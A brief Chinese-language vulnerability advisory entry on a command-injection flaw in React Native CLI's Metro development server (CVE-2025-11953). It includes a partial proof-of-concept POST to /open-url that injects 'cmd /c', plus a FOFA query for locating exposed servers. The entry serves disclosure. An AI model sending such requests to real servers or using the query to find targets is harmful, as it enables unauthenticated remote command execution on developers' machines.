React Native CLI /open-url 命令执行漏洞（CVE-2025-11953）
漏洞描述
React Native CLI是一个流行的开源工具，用于开发React Native应用程序。Metro Development Server是其内置的开发服务器，它默认绑定到外部接口。该漏洞源于React Native CLI中内置的Metro Development Server默认绑定的外部接口对用户输入的不当处理，未经身份验证的攻击者可通过发送POST请求来注入操作系统命令，从而执行任意可执行文件。 POST /open-url HTTP/1.1 Host: Content-Type: application/json Content-Length: 349 User-Agent: curl/7.85.0 Connection: close {"url": "cmd /c "}
FOFA 语句
系统自动生成（不一定准确）：title="React Native CLI /open-url"
影响范围
React Native CLI
漏洞详情
POC:
已公开
修复建议
暂无